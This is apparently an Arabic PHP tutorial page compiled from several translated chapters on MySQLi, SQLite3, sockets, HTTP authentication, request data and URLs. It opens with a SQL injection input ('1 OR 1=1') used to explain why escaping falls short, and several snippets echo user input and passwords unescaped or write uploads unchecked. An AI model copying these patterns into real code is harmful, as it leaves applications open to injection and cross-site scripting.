يوجد عدة طرق لخداع MySQL لإنتاج سلسلة نصية تُعد آمنة. إليك المثال التالي: $id = mysqli_real_escape_string("1 OR 1=1"); $sql = 'SELECT * FROM table WHERE id = ' . $id; لا يمثّل التعبير ‎1 OR 1=1‎ بيانات ستهرّبها MySQL، لكنه لا يزال يمثّل حقن SQL، يوجد أمثلة أخرى تمثّل حالات تُعاد فيها بيانات غير آمنة، المشكلة هي أنّ دالة الهروب في MySQL صُممت لجعل البيانات تتوافق مع صيغة SQL وليس للتأكد من أنّ MySQL لا تتمكن من خلط بيانات المستخدم من أجل تعليمات SQL. تنقيح أخطاء SQL في MySQLi الاستعلام في الشيفرة التالية سيفشل (استخدمنا المتغير ‎$conn للاتصال بالخادم كما وضحنا سابقًا): $result = $conn->query('SELECT * FROM non_existent_table'); نتيجة ‎$result هي false وهذا لا يساعدنا على معرفة الخطأ، لحسن الحظ يمكن لمتغير الاتصال ‎$conn أن يخبرنا عن الفشل: trigger_error($conn->error); أو بالنمط الإجرائي: trigger_error(mysqli_error($conn)); عندها ستحصل على خطأ مشابه لما يلي: Table 'my_db.non_existent_table' doesn't exist استعلام MySQLi تأخذ الدالة query سلسلة SQL صحيحة وتنفّذها مباشرةً على الاتصال بقاعدة البيانات ‎$conn. النمط الكائني التوجه $result = $conn->query("SELECT * FROM `people`"); النمط الإجرائي $result = mysqli_query($conn, "SELECT * FROM `people`"); سيظهر تحذير، المشكلة الشائعة هنا هي أنّك تنفّذ الشيفرة ببساطة وتتوقعها أن تعمل (تعيد مثلًا كائنًا من الصنف mysqli_stmt)، بما أنّ هذه الدالة تأخذ سلسلة نصية فقط فأنت تبني الاستعلام أولًا وإذا وُجدَت أي أخطاء في SQL سيفشل مصرِّف MySQL وعندها تعيد الدالة القيمة false. // سيفشل الاستعلام التالي $result = $conn->query('SELECT * FROM non_existent_table'); $row = $result->fetch_assoc(); ستنتج الشيفرة السابقة خطأ E_FATAL لأنّ نتيجة ‎$result هي false وليس كائنًا. PHP Fatal error: Call to a member function fetch_assoc() on a non-object الخطأ الإجرائي مشابه لكنه ليس خطأً فادحًا لأننا نخترق توقعات الدالة فقط. // نفس الاستعلام السابق $row = mysqli_fetch_assoc($result); ستحصل على الرسالة التالية من PHP: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given يمكنك تجنب هذا باستخدام شيفرة الاختبار التالية: if($result) $row = mysqli_fetch_assoc($result); كيفية الحصول على البيانات من تعليمات التحضير تعليمات التحضير اطّلع على تعليمات التحضير في mysqli لمعرفة كيفية تحضير وتنفيذ استعلام. ربط النتائج النمط الكائني التوجه $stmt->bind_result($forename); النمط الإجرائي mysqli_stmt_bind_result($stmt, $forename); مشكلة استخدام الدالة bind_result أنّها تتطلب تعليمة لتحديد الأعمدة التي ستُستخدم، أي أنّه كي تعمل الشيفرة السابقة يجب أن يبدو الاستعلام بالشكل SELECT forename FROM users، لتضمين المزيد من الأعمدة يمكنك إضافتها كمعاملات للدالة bind_result (وتأكد من إضافتهم إلى استعلام SQL). نُسند في كلتا الحالتين العمود forename للمتغير ‎$forename، تأخذ هذه الدالة عدد وسائط بعدد الأعمدة التي تريد إسنادها، يتم هذا الإسناد مرة واحدة بما أنّ الدالة تُربَط بالمرجع، لذا يمكننا تمرير حلقة بالشكل التالي: النمط الكائني التوجه while ($stmt->fetch()) echo "$forename<br />"; النمط الإجرائي while (mysqli_stmt_fetch($stmt)) echo "$forename<br />"; العيب في هذا أنّك تحتاج لإسناد الكثير من المتغيرات في وقت واحد وهذا يجعل تتبع الاستعلامات الكبيرة أمرًا صعبًا، إذا كان لديك محرك MySQL أساسي (mysqlnd) مثبّت فإنّ كل ما تحتاجه هو استخدام get_result. النمط الكائني التوجه $result = $stmt->get_result(); النمط الإجرائي $result = mysqli_stmt_get_result($stmt); يعدّ هذا سهلًا لأننا نحصل على كائن من الصنف mysqli_result? وهو نفس الكائن الذي تعيده mysqli_query أي أنّه يمكنك استخدام حلقة لعرض النتيجة. ماذا لو لم نستطع تثبيت mysqlnd؟ يمكنك الاطلاع على جواب مناسب من هنا. يمكن أن تؤدي هذه الدالة مهمة get_result بدون أن تكون مثبّتة على الخادم، فهي ببساطة تكرر النتائج وتبني مصفوفة ترابطية. function get_result(\mysqli_stmt $statement) { $result = array(); $statement->store_result(); for ($i = 0; $i < $statement->num_rows; $i++) { $metadata = $statement->result_metadata(); $params = array(); while ($field = $metadata->fetch_field()) { $params[] = &$result[$i][$field->name]; } call_user_func_array(array($statement, 'bind_result'), $params); $statement->fetch(); } return $result; } يمكننا بعدها استخدام الدالة للحصول على النتائج كما لو أننا نستخدم mysqli_fetch_assoc()‎: <?php $query = $mysqli->prepare("SELECT * FROM users WHERE forename LIKE ?"); $condition = "J%"; $query->bind_param("s", $condition); $query->execute(); $result = get_result($query); while ($row = array_shift($result)) { echo $row["id"] . ' - ' . $row["forename"] . ' ' . $row["surname"] . '<br>'; } سيظهر لنا نفس الخرج في حالة استخدام محرك mysqlnd باستثناء أنّه لا يحتاج للتثبيت، وهذا الحل مناسب جداً إذا كنت لا تستطيع تثبيت المحرك. إضافة معرف في MySQLi استعادة آخر معرّف مولَّد من استعلام INSERT على جدول فيه عمود AUTO_INCREMENT. النمط الكائني التوجه $id = $conn->insert_id; النمط الإجرائي $id = mysqli_insert_id($conn); ترجع الشيفرة السابقة القيمة صفر إذا لم يكن هناك استعلام سابق على الاتصال أو إذا لم يحدّث الاستعلام قيمة AUTO_INCREMENT. إضافة معرّف عند تحديث الأسطر لا تُرجع تعليمة UPDATE معرّف السطر المُضاف في الحالة العادية، إذ يُرجَع المعرّف AUTO_INCREMENT عند حفظ سطر جديد فقط (أو إضافته)، يمكن استخدام الصياغة INSERT ... ON DUPLICATE KEY UPDATE للتحديث مما يجعل التحديثات تطرأ على المعرِّف الجديد. مثال: CREATE TABLE iodku ( id INT AUTO_INCREMENT NOT NULL, name VARCHAR(99) NOT NULL, misc INT NOT NULL, PRIMARY KEY(id), UNIQUE(name) ) ENGINE=InnoDB; INSERT INTO iodku (name, misc) VALUES ('Leslie', 123), ('Sally', 456); Query OK, 2 rows affected (0.00 sec) Records: 2 Duplicates: 0 Warnings: 0 id name misc 1 Leslie 123 2 Sally 456 في حال حدّثَ الجدول IODKU واستعاد LAST_INSERT_ID()‎ المعرِّف المرتبط: $sql = "INSERT INTO iodku (name, misc) VALUES ('Sally', 3333) ON DUPLICATE KEY UPDATE id = LAST_INSERT_ID(id), misc = VALUES(misc)"; $conn->query($sql); $id = $conn->insert_id; يجب أن تحدّث الشيفرة السابقة السطر الثاني من الجدول وتعيد القيمة الحالية للمعرِّف (2). الحالة التي يحدث فيها إضافة سطر وتعيد LAST_INSERT_ID()‎ المعرِّف الجديد: $sql = "INSERT INTO iodku (name, misc) VALUES ('Dana', 789) ON DUPLICATE KEY UPDATE id = LAST_INSERT_ID(id), misc = VALUES(misc); $conn->query($sql); $id = $conn->insert_id; يجب أن تضيف الشيفرة السابقة سطرًا جديدًا إلى الجدول وتعيد القيمة الأخيرة للمعرِّف (3). ينتج عن الاستعلام: SELECT * FROM iodku; الجدول التالي: id name misc 1 Leslie 123 2 Sally 3333 3 Dana 789 درس سريع لمكتبة SQLite3 إليك مثال كامل عن جميع واجهات برمجة التطبيقات الشائعة الاستخدام المرتبطة بمكتبة SQLite3، بهدف جعلك تعمل بسرعة كبيرة ويمكنك أيضاً الحصول على ملف PHP قابل للتنفيذ لهذا الدرس. إنشاء/فتح قاعدة بيانات ننشئ قاعدة بيانات أولاً، ننشئها فقط إذا لم يكن الملف موجوداً ونفتحها للقراءة/الكتابة، امتداد الملف يعود لك لكن الشائع هو استخدام الامتداد ‎.sqlite الأكثر إيضاحًا. $db = new SQLite3('analytics.sqlite', SQLITE3_OPEN_CREATE | SQLITE3_OPEN_READWRITE); إنشاء جدول $db->query('CREATE TABLE IF NOT EXISTS "visits" ( "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" INTEGER, "url" VARCHAR, "time" DATETIME )'); إضافة عينة بيانات يُنصح بإحاطة الاستعلامات المرتبطة ضمن عملية (transaction) (مع الكلمات المفتاحية BEGIN وCOMMIT) حتى لو لم تكن مهتمًا بالترابط، إذا لم تفعل ذلك فإنّ SQLite ستحيط كل استعلام مفرد بعملية بشكلٍ تلقائي مما يؤدي إلى البطء الشديد. قد تُفاجئ بسبب بطء تعليمات INSERT إذا كنت جديدًا على استخدام SQLite. $db->exec('BEGIN'); $db->query('INSERT INTO "visits" ("user_id", "url", "time") VALUES (42, "/test", "2017-01-14 10:11:23")'); $db->query('INSERT INTO "visits" ("user_id", "url", "time") VALUES (42, "/test2", "2017-01-14 10:11:44")'); $db->exec('COMMIT'); يمكنك القيام بإضافة بيانات قد لا تكون آمنة مع تعليمة تحضير، باستخدام المعاملات ذات الأسماء (named parameters): $statement = $db->prepare('INSERT INTO "visits" ("user_id", "url", "time") VALUES (:uid, :url, :time)'); $statement->bindValue(':uid', 1337); $statement->bindValue(':url', '/test'); $statement->bindValue(':time', date('Y-m-d H:i:s')); $statement->execute(); you can reuse the statement with different values جلب البيانات لنجلب زيارات اليوم للمستخدم رقم 42، سنستخدم تعليمة التحضير من جديد لكن هذه المرة مع معاملات ذات أسماء وهذا أكثر إيجازًا: $statement = $db->prepare('SELECT * FROM "visits" WHERE "user_id" = ? AND "time" >= ?'); $statement->bindValue(1, 42); $statement->bindValue(2, '2017-01-14'); $result = $statement->execute(); echo "Get the 1st row as an associative array:\n"; print_r($result->fetchArray(SQLITE3_ASSOC)); echo "\n"; echo "Get the next row as a numeric array:\n"; print_r($result->fetchArray(SQLITE3_NUM)); echo "\n"; ملاحظة: تُرجع الدالة fetchArray()‎ القيمة false إذا لم يكن هناك المزيد من الأسطر، يمكنك الاستفادة من هذا في حلقة while. حرّر الذاكرة - لا يحدث هذا تلقائيًا أثناء تشغيل السكربت. $result->finalize(); الاختزالات إليك اختزال مفيد لجلب سطر واحد كمصفوفة ترابطية، يعني المعامل الثاني أننا نريد كل الأعمدة المُختارة. انتبه إلى أنّ هذا الاختزال لا يدعم ربط المعاملات لكن يمكنك بدلًا من ذلك الهروب من السلاسل النصية، ضع القيم دائمًا بين علامات اقتباس مفردة إذ تستخدم علامات الاقتباس المزدوجة لأسماء الجداول والأعمدة (بشكل مشابه لعلامات الاقتباس المائلة في MySQL). $query = 'SELECT * FROM "visits" WHERE "url" = \'' . SQLite3::escapeString('/test') . '\' ORDER BY "id" DESC LIMIT 1'; $lastVisit = $db->querySingle($query, true); echo "Last visit of '/test':\n"; print_r($lastVisit); echo "\n"; اختزال آخر مفيد لاستعادة قيمة واحدة فقط. $userCount = $db->querySingle('SELECT COUNT(DISTINCT "user_id") FROM "visits"'); echo "User count: $userCount\n"; echo "\n"; التنظيف في النهاية، أغلق قاعدة البيانات على الرغم من أنّ هذا يتم تلقائيًا عندما ينتهي السكربت. $db->close(); الاستعلام من قاعدة بيانات <?php // ‫إنشاء كائن SQLite3 جديد من ملف قاعدة البيانات على الخادم $database = new SQLite3('mysqlitedb.db'); // ‫الاستعلام من قاعدة البيانات باستخدام SQL $results = $database->query('SELECT bar FROM foo'); // التكرار على كل النتائج وإظهارهم على الصفحة while ($row = $results->fetchArray()) { var_dump($row); } ?> استعادة نتيجة واحدة فقط بالإضافة إلى استخدام تعليمات ‏LIMIT في SQL، يمكنك استخدام الدالة querySingle في SQLite3 لاستعادة سطر واحد أو العمود الأول. <?php $database = new SQLite3('mysqlitedb.db'); //(1) $database->querySingle('SELECT column1Name FROM table WHERE column2Name=1'); // (2) $database->querySingle('SELECT column1Name, column2Name FROM user WHERE column3Name=1', true); في الموضع (1) بدون ضبط المعامل الثاني الاختياري للقيمة true سيُرجع الاستعلام العمود الأول من السطر الأول للنتائج فقط ويكون من نفس نوع columnName. في الموضع (2) مع المعامل الاختياري entire_row سيرجع هذا الاستعلام مصفوفة من كامل السطر الأول من نتائج الاستعلام. ترجمة -وبتصرف- للفصول من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: استخدام MongoDB و Redis في PHP المقال السابق: المقابس (sockets) في PHP
  19. مقبس عميل TCP إنشاء مقبس يستخدم TCP (‏Transmission Control Protocol) $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); تأكّد من أنّ المقبس (socket) أُنشئ بنجاح، تُستخدم الدالة onSocketFailure لمعالجة أخطاء المقبس، مثال: if(!is_resource($socket)) onSocketFailure("Failed to create socket"); اتصال المقبس بعنوان محدد يفشل السطر الثاني بأمان إذا فشل الاتصال: socket_connect($socket, "chat.stackoverflow.com", 6667) or onSocketFailure("Failed to connect to chat.stackoverflow.com:6667", $socket); إرسال بيانات إلى الخادم ترسل الدالة socket_write البايتات عبر مقبس، تُمثَّل مصفوفة البايت في PHP بسلسلة نصية والتي هي غير حساسة للترميز بشكلٍ طبيعي. socket_write($socket, "NICK Alice\r\nUSER alice 0 * :Alice\r\n"); إرسال بيانات من الخادم تستقبل الشيفرة التالية بعض البيانات من الخادم باستخدام الدالة socket_read، إنّ تمرير قيمة المعامل الثالث على أنّها PHP_NORMAL_READ يقرأ حتى البايت ‎\r/\n ويُضمَّن في القيمة المُعادة، أما تمريرها على أنّها PHP_BINARY_READ يقرأ الكمية المطلوبة من بيانات المجرى. تُعيد الدالة socket_read القيمة false مباشرةً إذا اُستدعيت الدالة socket_set_nonblock قبلها واُستخدمَت القيمة PHP_BINARY_READ، وإلا يُعطَّل التابع حتى تُستقبَل بيانات كافية (الوصول إلى الطول المحدد في المعامل الثاني أو الوصول إلى نهاية السطر) أو يُغلَق المقبس. يقرأ المثال التالي بيانات من خادم IRC (‏Internet Relay Chat) بشكلٍ افتراضي: while(true) { // قراءة سطر من المقبس $line = socket_read($socket, 1024, PHP_NORMAL_READ); if(substr($line, -1) === "\r") { // (1) socket_read($socket, 1, PHP_BINARY_READ); } $message = parseLine($line); if($message->type === "QUIT") break; } يُقرأ في الموضع (1) بايت واحد من المقبس أو يتم تجاوزه، نفرض أنّ البايت التالي في المجرى يجب أن يكون ‎\n‎ ويعدّ هذا ممارسة سيئة ويجعل السكربت ضعيفًا ومعرّضًا لقيم غير متوقعة. إغلاق المقبس يؤدي إغلاق المقبس إلى تحريره وتحرير الموارد المرتبطة به. socket_close($socket); مقبس خادم TCP إنشاء المقبس إنشاء مقبس يستخدم TCP نفس طريقة إنشاء مقبس عميل. $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); ربط المقبس يكون اتصال الربط من شبكة ما (المعامل 2) إلى منفذ معين للمقبس (المعامل 3)، المعامل الثاني عادةً هو "0.0.0.0" والذي يقبل الاتصال من كل الشبكات. أحد أشهر الأسباب التي تؤدي إلى حدوث خطأ نتيجة التابع socket_bind هو أن يكون العنوان المحدد مقيد مسبقًا بعملية أخرى. تُنهى عادةً العمليات الأخرى يدويًا (لمنع إنهاء العمليات الحرجة دون قصد) لذا تُحرَّر المقابس. socket_bind($socket, "0.0.0.0", 6667) or onSocketFailure("Failed to bind to 0.0.0.0:6667"); ضبط المقبس للاستماع نستخدم التابع socket_listen لجعل المقبس يستمع إلى الاتصالات الواردة، يعبر المعامل الثاني عن عدد الاتصالات الأعظمي المسموح لها أن تكون في قائمة الانتظار قبل قبولها. socket_listen($socket, 5); معالجة الاتصال خادم TCP هو خادم يعالج الاتصالات الأبناء، يُنشئ التابع socket_accept اتصال ابن جديد. $conn = socket_accept($socket); نقل بيانات الاتصال من التابع socket_accept هو نفسه في مقبس عميل TCP. يمكنك استدعاء التابع socket_close($conn);‎ مباشرةً عندما تريد إغلاق الاتصال، ولا يؤثر هذا على مقبس خادم TCP الأصلي. إغلاق الخادم يجب استدعاء التابع socket_close($socket);‎ عند الانتهاء من استخدام الخادم، مما سيؤدي إلى تحرير عنوان TCP وبالتالي يُسمح لعمليات أخرى بالربط معه. مقبس خادم UDP خادم UDP (‏user datagram protocol) لا يعتمد على المجرى بل على الرزمة (packet-based) على عكس TCP، مثلًا عميل يرسل بيانات في وحدات تدعى رزم (packets) إلى الخادم ويعرف العميل العملاء من خلال عناوينهم، لا يوجد دالة مضمَّنة تربط الرزم المختلفة المُرسلة من نفس العميل (على عكس TCP حيث تُعالج البيانات المُرسلة من نفس العميل بمورد محدد ينشأه التابع socket_accept)، يمكننا التفكير أنّه عند كل وصول لرزمة UDP فإنّ اتصال TCP جديد يُقبَل ويُغلق. إنشاء مقبس خادم UDP $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); ربط المقبس إلى عنوان نفس المعاملات الموجودة لخادم TCP. socket_bind($socket, "0.0.0.0", 9000) or onSocketFailure("Failed to bind to 0.0.0.0:9000",$socket); إرسال رزمة ترسل الشيفرة التالية المتغير ‎$data في رزمة UDP إلى ‎$address:$port. socket_sendto($socket, $data, strlen($data), 0, $address, $port); استقبال رزمة تحاول الشيفرة التالية إدارة رزم UDP بطريقة تعتمد على فهرسة العميل. $clients = []; while (true){ socket_recvfrom($socket, $buffer, 32768, 0, $ip, $port) === true or onSocketFailure("Failed to receive packet", $socket); $address = "$ip:$port"; if (!isset($clients[$address])) $clients[$address] = new Client(); $clients[$address]->handlePacket($buffer); } إغلاق الخادم يمكن استخدام التابع socket_close على مورد مقبس خادم UDP. سيحرر هذا عنوان UDP مما يسمح بربط العمليات الأخرى إلى هذا العنوان. معالجة أخطاء المقبس نستخدم التابع socket_last_error للحصول على رقم معرِّف الخطأ الأخير من إضافة المقابس، ونستخدم التابع socket_strerror لتحويل هذا الرقم إلى سلسلة نصيّة قابلة للقراءة من قِبل الإنسان. function onSocketFailure(string $message, $socket = null) { if(is_resource($socket)) { $message .= ": " . socket_strerror(socket_last_error($socket)); } die($message); } مقابس الويب (Webscockets) ينفّذ استخدام إضافة المقبس (socket) واجهة منخفضة المستوى لدوال اتصال المقبس بالاعتماد على مقابس BSD (‏Berkeley Software Distribution) الشائعة، مما يوفر إمكانية العمل كخادم مقبس وعميل. خادم TCP/IP بسيط يمكنك أن تجد هنا مثالًا بسيطًا يعتمد على توثيق PHP الرسمي. أنشئ سكربت مقبس ويب يستمع إلى المنفذ 5000 باستخدام putty والطرفية لتنفيذ الأمر telnet 127.0.0.1 5000 (المضيف المحلي)، يرد هذا السكربت بالرسالة التي أرسلتها (كتعقب عكسي): <?php // تعطيل المهلة set_time_limit(0); // تعطيل التخزين المؤقت للخرج ob_implicit_flush(); // الإعدادات $address = '127.0.0.1'; $port = 5000; // (1) if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "Couldn't create socket".socket_strerror(socket_last_error())."\n"; } // (2) if (socket_bind($socket, $address, $port) === false) { echo "Bind Error ".socket_strerror(socket_last_error($sock)) ."\n"; } if (socket_listen($socket, 5) === false) { echo "Listen Failed ".socket_strerror(socket_last_error($socket)) . "\n"; } do { if (($msgsock = socket_accept($socket)) === false) { echo "Error: socket_accept: " . socket_strerror(socket_last_error($socket)) . "\n"; break; } /* إرسال رسالة ترحيب */ $msg = "\nPHP Websocket \n"; // الاستماع إلى دخل المستخدم do { if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) { echo "socket read error: ".socket_strerror(socket_last_error($msgsock)) . "\n"; break 2; } if (!$buf = trim($buf)) { continue; } // الرد على المستخدم برسالته $talkback = "PHP: You said '$buf'.\n"; socket_write($msgsock, $talkback, strlen($talkback)); // طباعة الرسالة على الطرفية echo "$buf\n"; } while (true); socket_close($msgsock); } while (true); socket_close($socket); ?> في الموضع (1) لدينا الدالة socket_create لها الشكل العام ( int $domain , int $type , int $protocol ): يمكن أن يكون المتغير ‎$domain هو AF_INET أو AF_INET6 من أجل IPV6 أو AF_UNIX من أجل بروتوكول الاتصال المحلي. يمكن أن يكون المتغير ‎$protocol إما SOL_TCP أو SOL_UDP ‏(TCP/UDP) تعيد هذه الدالة القيمة true في حالة النجاح. في الموضع (2) نستخدم الدالة socket_bind التي لها الشكل العام ‎socket_bind ( resource $socket , string $address [, int $port = 0 ] )‎، تربط هذه الدالة المقبس ليستمع إلى عنوان ومنفذ محددين. استيثاق HTTP سنكتب سكربت استيثاق ترويسة HTTP بسيط، ولاحظ أنّه يجب وضع هذه الشيفرة في ترويسة الصفحة وإلا لن يعمل: <?php if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="My Realm"'); header('HTTP/1.0 401 Unauthorized'); echo 'Text to send if user hits Cancel button'; exit; } echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>"; // حفظ المعلومات $user = $_SERVER['PHP_AUTH_USER']; echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>"; // ‫حفظ كلمة المرور (يمكن إضافة التشفير اختياريًا) $pass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)! ?> // ‫صفحة html ترجمة -وبتصرف- للفصول [ WebSockets - HTTP Authentication - Sockets] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: إضافة PHP MySQLi ونظام إدارة قواعد البيانات SQLite3 المقال السابق: معالجة بيانات طلبيات HTTP والتعامل مع أخطاء رفع الملفات في PHP
  20. قراءة بيانات خام مُرسَلة عبر طلب POST تُنظَّم عادةً البيانات المُرسلة عبر طلب POST في أزواج مفتاح/قيمة مع نوع MIME ‏application/x-www-formurlencoded، ومع ذلك تتطلب العديد من التطبيقات مثل خدمات الويب (web services) بيانات خام بتنسيق XML أو JSON غالبًا لتُرسَل، يمكن قراءة هذه البيانات بإحدى طريقتين. الأولى هي عبر مجرى يوفر الوصول إلى هيكل الطلب الخام php://input. لدينا الشيفرة التالية في الإصدار PHP < 5.6: $rawdata = file_get_contents("php://input"); // ‫بفرض أننا نحصل على JSON $decoded = json_decode($rawdata); الثانية عبر المتغير ‎$HTTP_RAW_POST_DATA الذي هو متغير عام يتضمن بيانات خام مُرسَلة عبر طلب POST وهو مُتاح فقط إذا كان الموجِّه always_populate_raw_post_data في ملف php.ini مفعّلًا. $rawdata = $HTTP_RAW_POST_DATA; // ‫إذا كنا نريد الحصول على XML $decoded = simplexml_load_string($rawdata); أُهمل هذا المتغير منذ الإصدار PHP 5.6 وأُزيل في الإصدار PHP 7.0. لاحظ أنّ هذه التوابع غير متاحة عندما يُضبَط نوع المحتوى إلى القيمة multipart/form-data التي تُستَخدم لرفع الملفات. قراءة بيانات مُرسَلة عبر طلب POST تُخزَّن البيانات المُرسَلة عبر طلب POST في المتغير ذو النطاق العام العالي ‎$_POST على شكل مصفوفة ترابطية. لاحظ أنّ الوصول إلى عنصر مصفوفة غير موجود يولّد ملاحظة لذا يجب التأكد دومًا من وجود العنصر باستخدام الدوال isset()‎ أو empty()‎ أو عامل تجميع null، مثال: $from = isset($_POST["name"]) ? $_POST["name"] : "NO NAME"; $message = isset($_POST["message"]) ? $_POST["message"] : "NO MESSAGE"; echo "Message from $from: $message"; // ‫الإصدار PHP ≥ 7.0 $from = $_POST["name"] ?? "NO NAME"; $message = $_POST["message"] ?? "NO MESSAGE"; echo "Message from $from: $message"; قراءة بيانات مُرسَلة عبر طلب GET تُخزَّن البيانات المُرسَلة عبر طلب GET في المتغير ذو النطاق العام العالي ‎$_GET على شكل مصفوفة ترابطية. لاحظ أنّ الوصول إلى عنصر مصفوفة غير موجود يولّد ملاحظة لذا يجب التأكد دومًا من وجود العنصر باستخدام الدوال isset()‎ أو empty()‎ أو عامل تجميع null، مثال: مثال (بفرض لدينا الرابط ‎/topics.php?author=alice&topic=php‎): $author = isset($_GET["author"]) ? $_GET["author"] : "NO AUTHOR"; $topic = isset($_GET["topic"]) ? $_GET["topic"] : "NO TOPIC"; echo "Showing posts from $author about $topic"; // ‫الإصدار PHP ≥ 7.0 $author = $_GET["author"] ?? "NO AUTHOR"; $topic = $_GET["topic"] ?? "NO TOPIC"; echo "Showing posts from $author about $topic"; معالجة أخطاء رفع ملف قد يتضمن العنصر ‎$_FILES["FILE_NAME"]['error']‎ (حيث "FILE_NAME" قيمة الخاصيّة name للعنصر input الموجود في النموذج الخاص بك) إحدى القيم التالية: 1- UPLOAD_ERR_OK: لا يوجد خطأ، رُفِع الملف بنجاح. 2- UPLOAD_ERR_INI_SIZE: تجاوز الملف المرفوع قيمة upload_max_filesize في الملف php.ini. 3- UPLOAD_ERR_PARTIAL: تجاوز الملف المرفوع القيمة MAX_FILE_SIZE المحددة في نموذج HTML. 4- UPLOAD_ERR_NO_FILE: لم يُحمَّل أي ملف. 5- UPLOAD_ERR_NO_TMP_DIR: فقدان مجلد مؤقت (من الإصدار PHP 5.0.3). 6- UPLOAD_ERR_CANT_WRITE: فشل كتابة الملف على القرص (من الإصدار PHP 5.1.0). 7- UPLOAD_ERR_EXTENSION: إضافة PHP أوقفت رفع الملف (من الإصدار PHP 5.2.0). الطريقة الأساسية لفحص الأخطاء: <?php // ‫"FILE_NAME" قيمة الخاصيّة `name` للعنصر `input` الموجود في النموذج الخاص بك‫ $fileError = $_FILES["FILE_NAME"]["error"]; switch($fileError) { case UPLOAD_ERR_INI_SIZE: // ‫تجاوز الحجم الأعظمي المحدد في php.ini break; case UPLOAD_ERR_PARTIAL: // ‫تجاوز الحجم الأعظمي المحدد في نموذج html break; case UPLOAD_ERR_NO_FILE: // لم يُحمَّل أي ملف break; case UPLOAD_ERR_NO_TMP_DIR: // لا يوجد مجلد مؤقت للكتابة فيه break; case UPLOAD_ERR_CANT_WRITE: // خطأ في الكتابة إلى القرص break; default: // لا يوجد أخطاء! break; } تمرير مصفوفات عبر طلب POST يُرسَل عادةً عنصر نموذج HTML إلى PHP كقيمة مفردة، مثال: <pre> <?php print_r($_POST);?> </pre> <form method="post"> <input type="hidden" name="foo" value="bar"/> <button type="submit">Submit</button> </form> الخرج: Array ( [foo] => bar ) لكن قد تحتاج أحيانًا إلى تمرير مصفوفة قيم، يمكنك القيام بذلك بإضافة مايشبه اللاحقة في PHP إلى الخاصيّة name لعناصر HTML: <pre> <?php print_r($_POST);?> </pre> <form method="post"> <input type="hidden" name="foo[]" value="bar"/> <input type="hidden" name="foo[]" value="baz"/> <button type="submit">Submit</button> </form> الخرج: Array ( [foo] => Array ( [0] => bar [1] => baz ) ) يمكنك أيضًا تحديد فهارس المصفوفة إما أرقام أو سلاسل نصية: <pre> <?php print_r($_POST);?> </pre> <form method="post"> <input type="hidden" name="foo[42]" value="bar"/> <input type="hidden" name="foo[foo]" value="baz"/> <button type="submit">Submit</button> </form> الخرج: Array ( [foo] => Array ( [42] => bar [foo] => baz ) ) يمكن استخدام هذه التقنية لتجنب حلقات ما بعد المعالجة عبر مصفوفة ‎$_POST مما يجعل شيفرتك أنظف وأدق. رفع ملفات باستخدام HTTP PUT توفر PHP الدعم للطريقة HTTP PUT المستخدمة من قِبَل بعض العملاء لتخزين الملفات على الخادم، تعدّ طلبات PUT أبسط من رفع ملف باستخدام طلبات POST وتبدو بالشكل: PUT /path/filename.html HTTP/1.1 يمكنك كتابة شيفرة PHP التالية: <?php // ‫تأتي بيانات PUT من مجرى الدخل القياسي $putdata = fopen("php://input", "r"); // فتح ملف للكتابة $fp = fopen("putfile.ext", "w"); // قراءة 1 كيلوبايت في كل مرة وكتابتها في الملف while ($data = fread($putdata, 1024)) fwrite($fp, $data); /* إغلاق المجاري */ fclose($fp); fclose($putdata); ?> ترجمة -وبتصرف- للفصل [Reading Request Data] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: المقابس (sockets) في PHP المقال السابق: التعامل مع الروابط URL في PHP
  21. تحليل رابط نستخدم الدالة parse_url()‎ لتقسيم رابط (url) إلى مكوناته الفردية: $url = 'http://www.example.com/page?foo=1&bar=baz#anchor'; $parts = parse_url($url); تصبح محتويات المتغير ‎$parts بعد تنفيذ الشيفرة السابقة: Array ( [scheme] => http [host] => www.example.com [path] => /page [query] => foo=1&bar=baz [fragment] => anchor ) يمكنك أن ترجع أيضًا مكون واحد من الرابط بشكلٍ انتقائي، فمثلًا لترجع سلسلة الاستعلام (query string) فقط: $url = 'http://www.example.com/page?foo=1&bar=baz#anchor'; $queryString = parse_url($url, PHP_URL_QUERY); يعدّ أيّ من الثوابت التالية مقبولًا: PHP_URL_SCHEME ‏PHP_URL_HOST PHP_URL_PORT ‏PHP_URL_USER ‏PHP_URL_PASS ‏PHP_URL_PATH ‏PHP_URL_QUERY PHP_URL_FRAGMENT يمكنك استخدام الدالة parse_str()‎ لتحليل سلسلة الاستعلام إلى أزواج مفتاح/قيمة: $params = []; parse_str($queryString, $params); تصبح محتويات المتغير ‎$params بعد تنفيذ الشيفرة السابقة: Array ( [foo] => 1 [bar] => baz ) بناء سلسلة استعلام للرابط من مصفوفة تنشأ الدالة http_build_query()‎ سلسلة استعلام من مصفوفة أو كائن، يمكن أن تُضاف هذه السلسلة إلى رابط ما لإنشاء طلب من النوع GET أو تُستخدم في طلب POST مع مكتبة cURL مثلًا: $parameters = array( 'parameter1' => 'foo', 'parameter2' => 'bar', ); $queryString = http_build_query($parameters); تصبح محتويات المتغير ‎$queryString بعد تنفيذ الشيفرة السابقة: parameter1=foo&parameter2=bar تعمل الدالة http_build_query()‎ مع المصفوفات متعددة الأبعاد أيضًا: $parameters = array( "parameter3" => array( "sub1" => "foo", "sub2" => "bar", ), "parameter4" => "baz", ); $queryString = http_build_query($parameters); تصبح محتويات المتغير ‎$queryString بعد تنفيذ الشيفرة السابقة: parameter3%5Bsub1%5D=foo&parameter3%5Bsub2%5D=bar&parameter4=baz والذي هو النسخة المرمزة للرابط: parameter3[sub1]=foo&parameter3[sub2]=bar&parameter4=baz إعادة التوجيه إلى رابط آخر يمكنك استخدام الدالة header()‎ لتوجيه المتصفح ليعيد التوجيه إلى رابط مختلف: $url = 'https://example.org/foo/bar'; // فحص الترويسات - لايمكنك 